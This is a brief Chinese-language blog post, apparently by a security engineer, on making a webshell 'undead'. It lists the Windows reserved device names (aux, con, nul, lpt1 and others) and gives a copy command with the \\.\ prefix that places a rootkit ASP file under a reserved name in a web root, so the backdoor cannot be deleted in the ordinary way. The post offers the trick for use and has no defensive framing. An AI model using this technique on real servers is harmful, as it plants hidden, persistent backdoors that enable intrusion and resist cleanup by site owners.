唐小风

安全工程师这些年

webshell中的不死僵尸

主要是利用系统保留文件名创建无法删除的webshell来隐藏后门。
Windows 下不能够以下面这些字样来命名文件或文件夹:
 
aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9  www.2cto.com
但是通过cmd的copy命令即可实现:
 
D:\wwwroot>copy rootkit.asp \\.\D:\wwwroot\lpt6.chouwazi.com.asp 前面必须有\\.\
 

评论